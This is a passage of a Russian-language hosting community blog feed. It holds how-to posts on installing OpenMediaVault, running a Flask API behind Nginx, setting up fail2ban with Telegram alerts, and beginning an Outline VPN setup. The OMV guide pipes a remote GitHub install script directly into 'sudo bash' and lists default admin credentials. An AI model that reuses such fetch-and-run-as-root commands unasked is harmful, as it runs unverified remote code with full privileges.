<h2 class="wp-block-heading">Зачем ставить OpenMediaVault на VPS?</h2>



<p>Если коротко:</p>



<ul class="wp-block-list">
<li><strong>Хочешь NAS, но нет железа под рукой</strong> — OMV на VPS решает.</li>



<li><strong>Нужно централизованное хранилище для проектов</strong> — OMV даёт понятный web-интерфейс.</li>



<li><strong>Резервные копии, доступ по FTP/SMB/NFS</strong>, <a href="https://cloudvps.by/community/docs/glossarij/terminy/docker/" data-internallinksmanager029f6b8e52c="258" title="Docker">Docker</a> — всё уже встроено.</li>
</ul>



<p>Если ты ищешь решение вроде <strong>nas своими руками</strong>, но не хочешь собирать коробку дома — VPS с OMV будет отличным компромиссом.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Какой VPS подойдёт?</h2>



<p>Я взяла самый простой тариф с 1 CPU и 2 ГБ RAM, Debian 11 x64. Хранилище — SSD, хотя можно взять и HDD‑вариант, если нужны объёмы, а не скорость. Главное — убедись, что у тебя <a href="https://cloudvps.by/community/docs/glossarij/terminy/root-dostup/" data-internallinksmanager029f6b8e52c="234" title="Root-доступ">root-доступ</a> и чистая система без панелей типа ISPManager.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Шаг 1: Обновляем систему</h3>



<pre class="wp-block-code"><code>apt update &amp;&amp; apt upgrade -y
</code></pre>



<p>Обязательно добавь sudo, если ты не под root.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Шаг 2: Установка OpenMediaVault</h3>



<p>OMV официально рекомендует <strong>использовать их скрипт установки</strong>. На Debian всё просто:</p>



<pre class="wp-block-code"><code>wget -O - <a href="https://cloudvps.by/community/docs/glossarij/terminy/https/" data-internallinksmanager029f6b8e52c="221" title="HTTPS (Hyper Text Transfer Protocol Secure)">https</a>://github.com/OpenMediaVault-Plugin-Developers/installScript/raw/master/install | sudo bash
</code></pre>



<p>Он сам всё подтянет: зависимости, WebUI, службы. По итогу — тебе сообщат <a href="https://cloudvps.by/community/docs/glossarij/terminy/ip-adres/" data-internallinksmanager029f6b8e52c="204" title="IP-адрес (Internet Protocol)">IP</a> и <a href="https://cloudvps.by/community/docs/glossarij/terminy/port/" data-internallinksmanager029f6b8e52c="225" title="Port (Порт )">порт</a> панели.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Интерфейс OMV будет доступен по адресу: <code>http://&lt;IP_VPS>:80</code></p>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Шаг 3: Первый вход в интерфейс</h3>



<p>Логинимся в веб-панель:</p>



<ul class="wp-block-list">
<li>Логин: <code>admin</code></li>



<li>Пароль: <code>openmediavault</code></li>
</ul>



<p>Первым делом меняем пароль, язык и часовой пояс. Интерфейс простой, интуитивный.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Шаг 4: Настройка дисков и общих папок</h3>



<p>На VPS может быть один диск, но ты можешь подключить дополнительные <strong>блоковые устройства, тома или даже облачные хранилища (через rclone)</strong>.</p>



<p>Создаёшь файловую систему, монтируешь, потом создаёшь Shared Folder и настраиваешь доступ:</p>



<ul class="wp-block-list">
<li>FTP</li>



<li>SMB/CIFS</li>



<li>Rsync</li>



<li>NFS</li>
</ul>



<p>Я лично подняла FTP для себя и WebDAV для команды — всё работает стабильно.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Шаг 5: Установка плагинов (Docker, Backup, SSH и пр.)</h3>



<p>Включаешь <code>OMV-Extras</code> — это как App Store для OpenMediaVault. Там же устанавливаешь Docker, Portainer, Syncthing, Proxmox <a href="https://cloudvps.by/community/docs/glossarij/terminy/backup/" data-internallinksmanager029f6b8e52c="228" title="Backup (Резервное копирование)">Backup</a> и пр.</p>



<pre class="wp-block-code"><code>apt install openmediavault-omvextrasorg
omv-salt deploy run omvextras
</code></pre>



<p>После этого появится новая вкладка с плагинами.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Личный опыт: плюсы и минусы OMV на VPS</h2>



<p><strong>Плюсы:</strong></p>



<ul class="wp-block-list">
<li> Простая установка</li>



<li> Удалённое управление через WebUI</li>



<li> Расширяемость за счёт плагинов (OMV Extras)</li>



<li> Удобный доступ к данным по SMB/FTP</li>



<li> Отлично подходит как NAS-хранилище на VPS</li>
</ul>



<p><strong>Минусы:</strong></p>



<ul class="wp-block-list">
<li> Нужно ручками настроить безопасность (fail2ban, <a href="https://cloudvps.by/community/docs/glossarij/terminy/firewall/" data-internallinksmanager029f6b8e52c="198" title="Firewall (Брандмауэр)">firewall</a>)</li>



<li> Не такой быстрый, как bare-metal NAS</li>



<li> Требуется понимание Linux и сетей (хотя бы базовое)</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Что ещё можно сделать?</h2>



<ul class="wp-block-list">
<li>Настроить <strong>резервное копирование</strong> (например, через Borg или Rsync)</li>



<li>Интегрировать <strong>облачное хранилище через Rclone</strong></li>



<li>Добавить Telegram-бота для уведомлений (через Webhook)</li>



<li>Протянуть <a href="https://cloudvps.by/community/docs/glossarij/terminy/wireguard/" data-internallinksmanager029f6b8e52c="301" title="WireGuard">WireGuard</a> и дать доступ по <a href="https://cloudvps.by/community/docs/glossarij/terminy/vpn/" data-internallinksmanager029f6b8e52c="211" title="VPN (Virtual Private Network)">VPN</a> к NAS из локальной сети</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p>Вот еще подготовила таблицу с полезными командами и настройками для установки и конфигурации <strong>OpenMediaVault на VPS</strong>:</p>



<h2 class="wp-block-heading">Установка и настройка OpenMediaVault на VPS</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Шаг</th><th>Команда / действие</th><th>Описание</th></tr></thead><tbody><tr><td>1</td><td><code>apt update &amp;&amp; apt upgrade -y</code></td><td>Обновление системы Debian перед установкой</td></tr><tr><td>2</td><td>`wget -O &#8211; <a href="https://github.com/OpenMediaVault-Plugin-Developers/installScript/raw/master/install" target="_blank" rel="noopener">https://github.com/OpenMediaVault-Plugin-Developers/installScript/raw/master/install</a></td><td>sudo bash`</td></tr><tr><td>3</td><td>Войти по адресу <code>http://&lt;IP_VPS&gt;:80</code></td><td>Доступ к веб-интерфейсу OMV</td></tr><tr><td>4</td><td>Логин: <code>admin</code>, Пароль: <code>openmediavault</code></td><td>Данные по умолчанию</td></tr><tr><td>5</td><td><code>apt install openmediavault-omvextrasorg</code></td><td>Установка дополнительных плагинов</td></tr><tr><td>6</td><td><code>omv-salt deploy run omvextras</code></td><td>Активация OMV-Extras в панели</td></tr><tr><td>7</td><td>Через WebUI: создать файловую систему → смонтировать диск → создать Shared Folder</td><td>Настройка хранения</td></tr><tr><td>8</td><td>Включить FTP/SMB/NFS/Docker через OMV-Extras</td><td>Разрешить доступ и плагины</td></tr><tr><td>9</td><td>(опционально) <code>ufw allow 80,443/<a href="https://cloudvps.by/community/docs/glossarij/terminy/tcp/" data-internallinksmanager029f6b8e52c="222" title="TCP (Transmission Control Protocol)">tcp</a></code> + <code>ufw enable</code></td><td>Настройка фаервола (если используешь UFW)</td></tr><tr><td>10</td><td>Настроить регулярные резервные копии</td><td>Использовать Rsync или BorgBackup</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p></p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cloudvps.by/community/ustanovka-openmediavault-na-vps/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Как я превратила VPS в надёжный endpoint для мобильного бэкенда</title>
		<link>https://cloudvps.by/community/kak-ya-prevratila-vps-v-nadyozhnyj-endpoint-dlya-mobilnogo-bekenda/</link>
					<comments>https://cloudvps.by/community/kak-ya-prevratila-vps-v-nadyozhnyj-endpoint-dlya-mobilnogo-bekenda/#respond</comments>
		
		<dc:creator><![CDATA[Марина Кольцова]]></dc:creator>
		<pubDate>Mon, 08 Sep 2025 16:50:44 +0000</pubDate>
				<category><![CDATA[Гайды]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4373</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/kak-ya-prevratila-vps-v-nadyozhnyj-endpoint-dlya-mobilnogo-bekenda/">Как я превратила VPS в надёжный endpoint для мобильного бэкенда</a>">%POSTTITLE%</a></p>
<p>Когда ты создаёшь мобильное приложение, наступает момент, когда нужно выбрать, где будет жить твой бэкенд. Хостинг? Облако? Firebase? Или, может, VPS как endpoint? У меня был точно такой же вопрос — и после пары экспериментов я решила: буду поднимать свой VPS‑сервер под API‑эндпоинты. И сейчас расскажу, как это работает у меня и почему это оказалось [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/kak-ya-prevratila-vps-v-nadyozhnyj-endpoint-dlya-mobilnogo-bekenda/">Как я превратила VPS в надёжный endpoint для мобильного бэкенда</a>">%POSTTITLE%</a></p>

<p>Когда ты создаёшь мобильное приложение, наступает момент, когда нужно выбрать, где будет жить твой бэкенд. Хостинг? Облако? Firebase? Или, может, <strong><a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a> как endpoint</strong>? У меня был точно такой же вопрос — и после пары экспериментов я решила: буду поднимать свой <strong>VPS‑сервер под <a href="https://cloudvps.by/community/docs/glossarij/terminy/api/" data-internallinksmanager029f6b8e52c="226" title="API (Application Programming Interface)">API</a>‑эндпоинты</strong>. И сейчас расскажу, как это работает у меня и почему это оказалось удобнее, чем я ожидала.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Что такое endpoint и зачем он мобильному приложению?</h2>



<p>Если ты ещё не сталкивался с этим термином: <strong>эндпоинт (endpoint)</strong> — это точка входа, через которую клиент (в данном случае — мобильное приложение) общается с сервером. Например, <code><a href="https://cloudvps.by/community/docs/glossarij/terminy/https/" data-internallinksmanager029f6b8e52c="221" title="HTTPS (Hyper Text Transfer Protocol Secure)">https</a>://myapp.com/api/login</code> — это типичный <strong><a href="https://cloudvps.by/community/docs/glossarij/terminy/rest-api/" data-internallinksmanager029f6b8e52c="227" title="REST API (Representational State Transfer)">REST</a> endpoint</strong>, через который пользователь логинится.</p>



<p><strong>API endpoint — это не просто URL.</strong> Это способ взаимодействия: POST-запрос — для авторизации, GET — для получения данных, PUT/PATCH — для обновления, DELETE — ну, ты понял. Вся эта логика живёт на сервере. И именно тут начинается самое интересное — ведь ты сам выбираешь, где разместить эти эндпоинты.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Почему я выбрала VPS вместо облачных решений</h2>



<p>Firebase был удобен&#8230; пока не стал дорогим. AWS — классный, но слишком сложный. А у меня был небольшой проект и минимальный бюджет. Я выбрала <strong>VPS как endpoint API</strong>, потому что:</p>



<ul class="wp-block-list">
<li>он дешевле (да, буквально $4–6 в месяц за стабильный сервер),</li>



<li>у меня полный контроль над конфигурацией,</li>



<li>можно легко масштабировать (перейти на более мощный тариф),</li>



<li>и — это важно — <strong>я знаю, где физически находятся мои данные.</strong></li>
</ul>



<p>А ещё я просто люблю возиться с Linux <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f605.png" alt="😅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Установка и настройка — как это у меня работает</h3>



<h4 class="wp-block-heading">Сервер: VPS с Ubuntu 22.04</h4>



<p>Я развернула его на CloudVPS (у них быстрая поддержка и недорогие тарифы).</p>



<h4 class="wp-block-heading">API: Flask</h4>



<p>Я люблю <strong>Python</strong>, и <strong>Flask</strong> — это мой go‑to фреймворк. Он лёгкий, минималистичный и идеально подходит для небольших API.</p>



<pre class="wp-block-code"><code>from flask import Flask, jsonify, request

app = Flask(__name__)

@app.route("/api/<a href="https://cloudvps.by/community/docs/glossarij/terminy/ping/" data-internallinksmanager029f6b8e52c="326" title="Ping">ping</a>", methods=&#91;"GET"])
def ping():
    return jsonify({"message": "pong"}), 200
</code></pre>



<h4 class="wp-block-heading">Nginx в роли реверс-прокси</h4>



<p>Чтобы красиво обернуть всё это и получить <strong>https‑endpoint</strong>, использую <strong>Nginx + Certbot</strong>:</p>



<pre class="wp-block-code"><code>server {
    listen 80;
    server_name api.myapp.com;

    location / {
        proxy_pass http://127.0.0.1:5000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-<a href="https://cloudvps.by/community/docs/glossarij/terminy/ip-adres/" data-internallinksmanager029f6b8e52c="204" title="IP-адрес (Internet Protocol)">IP</a> $remote_addr;
    }
}
</code></pre>



<p>После настройки <code>Let's Encrypt</code> мой endpoint уже доступен по HTTPS.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Что я получила в итоге</h2>



<ul class="wp-block-list">
<li><strong>Стабильные API endpoints</strong>: <code>/api/login</code>, <code>/api/data</code>, <code>/api/logout</code> — всё на одном VPS.</li>



<li><strong>Полный контроль над ip-адресами</strong> (у меня даже был опыт с geo-балансировкой).</li>



<li><strong>Быстрый отклик приложения</strong> — пинг сервера меньше 100мс даже с мобильного интернета.</li>



<li>Уровень гибкости, который сложно получить в Firebase или Supabase.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Безопасность — не забывай про неё!</h2>



<p>Да, у тебя есть <strong>эндпоинты API</strong>, но важно не забывать про безопасность:</p>



<ul class="wp-block-list">
<li>Ограничь доступ по IP, если можно.</li>



<li>Используй <a href="https://cloudvps.by/community/docs/glossarij/terminy/json-web-token/" data-internallinksmanager029f6b8e52c="379" title="JSON Web Token (JWT)">JWT</a> или OAuth2.</li>



<li>Ставь fail2ban на <a href="https://cloudvps.by/community/docs/glossarij/terminy/ssh/" data-internallinksmanager029f6b8e52c="197" title="SSH (Secure Shell)">SSH</a>.</li>



<li>Включи <a href="https://cloudvps.by/community/docs/glossarij/terminy/disaster-recovery/" data-internallinksmanager029f6b8e52c="238" title="Disaster Recovery (Аварийное восстановление)">бэкапы</a> — серьёзно, не жди, пока станет поздно.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Мой вывод: VPS — это лучший друг мобильного разработчика</h2>



<p>Серьёзно. Я думала, что это будет сложно. А оказалось — гораздо проще, чем плясать с костылями Firebase или платить за Heroku. <strong>VPS endpoint API</strong> — это твой сервер, твои правила, и никаких неожиданных ограничений.</p>



<p>Хочешь настроить свой <strong>эндпоинт API</strong>? Начни с чего-то простого — купи VPS, поставь Flask, прикрути Nginx — и вперёд. И если что — ты всегда можешь масштабировать.</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cloudvps.by/community/kak-ya-prevratila-vps-v-nadyozhnyj-endpoint-dlya-mobilnogo-bekenda/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Настройка fail2ban + Telegram alerts на VPS: защита и уведомления в одном флаконе</title>
		<link>https://cloudvps.by/community/nastrojka-fail2ban-telegram-alerts-na-vps/</link>
					<comments>https://cloudvps.by/community/nastrojka-fail2ban-telegram-alerts-na-vps/#respond</comments>
		
		<dc:creator><![CDATA[Марина Кольцова]]></dc:creator>
		<pubDate>Mon, 08 Sep 2025 11:59:04 +0000</pubDate>
				<category><![CDATA[Безопасность]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4369</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/nastrojka-fail2ban-telegram-alerts-na-vps/">Настройка fail2ban + Telegram alerts на VPS: защита и уведомления в одном флаконе</a>">%POSTTITLE%</a></p>
<p>Когда ты работаешь с публичным VPS, особенно если он принимает SSH-подключения или обслуживает веб-приложения, важно быть начеку. Брутфорс, попытки подбора паролей, подозрительные запросы — всё это происходит чаще, чем хотелось бы. Один из самых простых и надёжных способов защитить сервер от подобных атак — это fail2ban. А если хочешь получать алерты напрямую в Telegram, можно [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/nastrojka-fail2ban-telegram-alerts-na-vps/">Настройка fail2ban + Telegram alerts на VPS: защита и уведомления в одном флаконе</a>">%POSTTITLE%</a></p>

<p>Когда ты работаешь с публичным <a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a>, особенно если он принимает <a href="https://cloudvps.by/community/docs/glossarij/terminy/ssh/" data-internallinksmanager029f6b8e52c="197" title="SSH (Secure Shell)">SSH</a>-подключения или обслуживает веб-приложения, важно быть начеку. <a href="https://cloudvps.by/community/docs/glossarij/terminy/brute-force-attack/" data-internallinksmanager029f6b8e52c="275" title="Brute Force Attack (Брутфорс-атака)">Брутфорс</a>, попытки подбора паролей, подозрительные запросы — всё это происходит чаще, чем хотелось бы. Один из самых простых и надёжных способов защитить сервер от подобных атак — это <strong>fail2ban</strong>. А если хочешь получать алерты напрямую в <strong>Telegram</strong>, можно всё связать через webhook. Я так и сделала — и делюсь пошаговой инструкцией.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Что такое fail2ban и зачем он нужен</h2>



<p><strong>fail2ban</strong> — это инструмент, который мониторит логи (например, <code>/var/log/auth.log</code>) и банит <a href="https://cloudvps.by/community/docs/glossarij/terminy/ip-adres/" data-internallinksmanager029f6b8e52c="204" title="IP-адрес (Internet Protocol)">IP</a>-адреса, замеченные в подозрительной активности. Например, если кто-то несколько раз подряд неправильно ввёл пароль при попытке входа по SSH — fail2ban автоматически добавит этот IP в <code>iptables</code> или <code>nftables</code> и заблокирует доступ.</p>



<p><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f525.png" alt="🔥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Ключевые возможности:</p>



<ul class="wp-block-list">
<li>защита SSH, nginx, postfix, dovecot и других сервисов;</li>



<li>гибкая настройка <code>bantime</code>, <code>findtime</code>, <code>maxretry</code>;</li>



<li>whitelist IP;</li>



<li>интеграция с Telegram, email и другими способами уведомлений.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Установка fail2ban на Ubuntu / Debian</h2>



<p>На моём сервере стоит Ubuntu 22.04, но аналогично работает и на Debian:</p>



<pre class="wp-block-code"><code>sudo apt update
sudo apt install fail2ban -y
</code></pre>



<p>После установки он уже готов к работе — по умолчанию включена защита SSH.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Базовая настройка <code>/etc/fail2ban/jail.local</code></h2>



<p>Создай файл <code>jail.local</code>, чтобы не трогать оригинальный <code>jail.conf</code>:</p>



<pre class="wp-block-code"><code>sudo nano /etc/fail2ban/jail.local
</code></pre>



<p>Добавим базовые настройки:</p>



<pre class="wp-block-code"><code>&#91;DEFAULT]
bantime = 1h
findtime = 10m
maxretry = 5
ignoreip = 127.0.0.1/8 ::1</code></pre>


<p>[sshd]</p>



<p>enabled = true <a href="https://cloudvps.by/community/docs/glossarij/terminy/port/" data-internallinksmanager029f6b8e52c="225" title="Port (Порт )">port</a> = ssh logpath = %(sshd_log)s backend = systemd</p>



<p>Параметры:</p>



<ul class="wp-block-list">
<li><code>bantime</code> — сколько длится бан (можно <code>bantime = -1</code> для вечного);</li>



<li><code>findtime</code> — за какой период считаются попытки;</li>



<li><code>maxretry</code> — сколько попыток до блокировки;</li>



<li><code>ignoreip</code> — IP, которые <strong>никогда</strong> не будут забанены (добавь свой домашний IP сюда!).</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Отправка алертов в Telegram</h2>



<p>Теперь к самому интересному — <strong>уведомления в Telegram</strong>. Удобно получать сообщение сразу, как кто-то стучится в SSH или на сайт.</p>



<h3 class="wp-block-heading">1. Создай Telegram-бота</h3>



<p>Зайди в Telegram и найди <code>@BotFather</code>. Введи:</p>



<pre class="wp-block-code"><code>/newbot
</code></pre>



<p>Дай имя и username (должен оканчиваться на <code>bot</code>), получишь <strong>токен</strong> — сохрани его.</p>



<h3 class="wp-block-heading">2. Получи свой Chat ID</h3>



<p>Напиши что-нибудь своему боту и открой в браузере:</p>



<pre class="wp-block-code"><code><a href="https://cloudvps.by/community/docs/glossarij/terminy/https/" data-internallinksmanager029f6b8e52c="221" title="HTTPS (Hyper Text Transfer Protocol Secure)">https</a>:&#47;&#47;<a href="https://cloudvps.by/community/docs/glossarij/terminy/api/" data-internallinksmanager029f6b8e52c="226" title="API (Application Programming Interface)">api</a>.telegram.org/bot&lt;ТВОЙ_ТОКЕН&gt;/getUpdates
</code></pre>



<p>Там будет <code>chat.id</code> — это твой ID, куда слать алерты.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Создание action-скрипта для fail2ban</h2>



<p>Создай новый action-файл, например:</p>



<pre class="wp-block-code"><code>sudo nano /etc/fail2ban/action.d/telegram-ban.conf
</code></pre>



<p>Вставь:</p>



<pre class="wp-block-code"><code>&#91;Definition]
actionstart = echo "fail2ban started on &lt;hostname&gt;" | /usr/bin/curl -s -X POST https://api.telegram.org/bot&lt;TOKEN&gt;/sendMessage -d chat_id=&lt;CHAT_ID&gt; -d text="fail2ban started on &lt;hostname&gt;"
actionstop = echo "fail2ban stopped" | /usr/bin/curl -s -X POST https://api.telegram.org/bot&lt;TOKEN&gt;/sendMessage -d chat_id=&lt;CHAT_ID&gt; -d text="fail2ban stopped"
actionban = /usr/bin/curl -s -X POST https://api.telegram.org/bot&lt;TOKEN&gt;/sendMessage -d chat_id=&lt;CHAT_ID&gt; -d text="&#x1f6a8; IP &lt;ip&gt; заблокирован fail2ban на &lt;hostname&gt;"
actionunban = /usr/bin/curl -s -X POST https://api.telegram.org/bot&lt;TOKEN&gt;/sendMessage -d chat_id=&lt;CHAT_ID&gt; -d text="&#x2139; IP &lt;ip&gt; разблокирован fail2ban"
</code></pre>



<p>Замените <code>&lt;TOKEN&gt;</code> и <code>&lt;CHAT_ID&gt;</code> на свои значения. Не забудь дать права на выполнение:</p>



<pre class="wp-block-code"><code>sudo chmod +x /etc/fail2ban/action.d/telegram-ban.conf
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Подключение action в jail.local</h2>



<p>Допиши в <code>[sshd]</code>:</p>



<pre class="wp-block-code"><code>action = telegram-ban
</code></pre>



<p>Теперь после каждой блокировки IP ты получаешь Telegram-оповещение с IP, датой и типом события.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Полезные команды для fail2ban</h2>



<p>Чтобы не забыть, вот краткий справочник:</p>



<ul class="wp-block-list">
<li>Проверить статус:</li>
</ul>



<pre class="wp-block-code"><code>sudo fail2ban-client status
</code></pre>



<ul class="wp-block-list">
<li>Посмотреть статус конкретного jail (например, sshd):</li>
</ul>



<pre class="wp-block-code"><code>sudo fail2ban-client status sshd
</code></pre>



<ul class="wp-block-list">
<li>Разблокировать IP:</li>
</ul>



<pre class="wp-block-code"><code>sudo fail2ban-client set sshd unbanip 123.123.123.123
</code></pre>



<ul class="wp-block-list">
<li>Перезапустить fail2ban:</li>
</ul>



<pre class="wp-block-code"><code>sudo systemctl restart fail2ban
</code></pre>



<ul class="wp-block-list">
<li>Просмотреть логи:</li>
</ul>



<pre class="wp-block-code"><code>sudo journalctl -u fail2ban
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Получается, что&#8230;</h2>



<p>интеграция <strong>fail2ban</strong> с <strong>Telegram</strong> — это не просто красиво, а действительно полезно. Ты мгновенно узнаешь о попытках взлома и можешь оперативно реагировать. Особенно важно, если на сервере хостится важный проект.</p>



<p>Эта связка особенно хороша на <strong>VPS</strong>, где нет внешней панели безопасности — ты сам себе и админ, и охранник, и монитор. Поэтому стоит настроить fail2ban с Telegram alert-ами один раз и спать спокойнее.</p>



<p></p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cloudvps.by/community/nastrojka-fail2ban-telegram-alerts-na-vps/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Установка Outline VPN на VPS: простой способ защитить трафик</title>
		<link>https://cloudvps.by/community/ustanovka-outline-vpn-na-vps/</link>
		
		<dc:creator><![CDATA[Марина Кольцова]]></dc:creator>
		<pubDate>Fri, 05 Sep 2025 17:07:37 +0000</pubDate>
				<category><![CDATA[Безопасность]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4365</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/ustanovka-outline-vpn-na-vps/">Установка Outline VPN на VPS: простой способ защитить трафик</a>">%POSTTITLE%</a></p>
<p>В какой-то момент я поняла, что устала объяснять друзьям, чем отличается обычный VPN от решений вроде Outline. Это как раз тот случай, когда всё работает «из коробки», а при этом ты всё равно получаешь полный контроль. Поэтому я решила рассказать, как установить Outline VPN на VPS — и почему это может быть лучшим решением для [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/ustanovka-outline-vpn-na-vps/">Установка Outline VPN на VPS: простой способ защитить трафик</a>">%POSTTITLE%</a></p>

<p>В какой-то момент я поняла, что устала объяснять друзьям, чем отличается обычный <a href="https://cloudvps.by/community/docs/glossarij/terminy/vpn/" data-internallinksmanager029f6b8e52c="211" title="VPN (Virtual Private Network)">VPN</a> от решений вроде Outline. Это как раз тот случай, когда всё работает «из коробки», а при этом ты всё равно получаешь полный контроль. Поэтому я решила рассказать, как установить Outline VPN на <a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a> — и почему это может быть лучшим решением для ваших задач.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Зачем нужен Outline VPN</h2>



<p>Outline — это open source‑проект от Jigsaw (входит в Google). Его цель — сделать настройку VPN настолько <a href="https://cloudvps.by/community/docs/glossarij/terminy/downtime/" data-internallinksmanager029f6b8e52c="233" title="Downtime (Время простоя)">простой</a>, чтобы даже новички справились. Основная особенность Outline VPN — он использует протокол <strong>Shadowsocks</strong>, который работает быстрее и обходится с фильтрами аккуратнее, чем <a href="https://cloudvps.by/community/docs/glossarij/terminy/openvpn/" data-internallinksmanager029f6b8e52c="300" title="OpenVPN">OpenVPN</a> или даже <a href="https://cloudvps.by/community/docs/glossarij/terminy/wireguard/" data-internallinksmanager029f6b8e52c="301" title="WireGuard">WireGuard</a> в некоторых ситуациях.</p>



<p>Вот основные причины, по которым я выбрала Outline:</p>



<ul class="wp-block-list">
<li><strong>Минимальная настройка сервера</strong> — всё делается через Outline Manager.</li>



<li><strong>Клиенты под Windows, Android, iOS, macOS и Linux</strong>.</li>



<li><strong>Отдельная консоль для управления ключами доступа</strong> (можно удалять, добавлять и ограничивать пользователей).</li>



<li><strong>Совместимость с VPS на Ubuntu 18.04, 20.04, 22.04 и других версиях</strong>.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Что понадобится для установки Outline VPN на VPS</h2>



<p>Вот что нам нужно на старте:</p>



<ul class="wp-block-list">
<li>VPS-сервер (минимум 512 МБ ОЗУ, 1 CPU). Лучше выбрать хостинг с выделенным <a href="https://cloudvps.by/community/docs/glossarij/terminy/ip-adres/" data-internallinksmanager029f6b8e52c="204" title="IP-адрес (Internet Protocol)">IP</a>, например, на CloudVPS.</li>



<li>Ubuntu 20.04 или 22.04.</li>



<li><a href="https://cloudvps.by/community/docs/glossarij/terminy/root-dostup/" data-internallinksmanager029f6b8e52c="234" title="Root-доступ">root-доступ</a> по <a href="https://cloudvps.by/community/docs/glossarij/terminy/ssh/" data-internallinksmanager029f6b8e52c="197" title="SSH (Secure Shell)">SSH</a>.</li>



<li>Терпение — чуть меньше, чем на установку OpenVPN <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f604.png" alt="😄" class="wp-smiley" style="height: 1em; max-height: 1em;" /></li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Шаг 1. Установка Outline Manager</h2>



<p>На клиентском компьютере (например, ноутбуке под Windows или macOS) нужно установить Outline Manager — это десктопное приложение, которое подключается к вашему VPS и устанавливает Outline Server.</p>



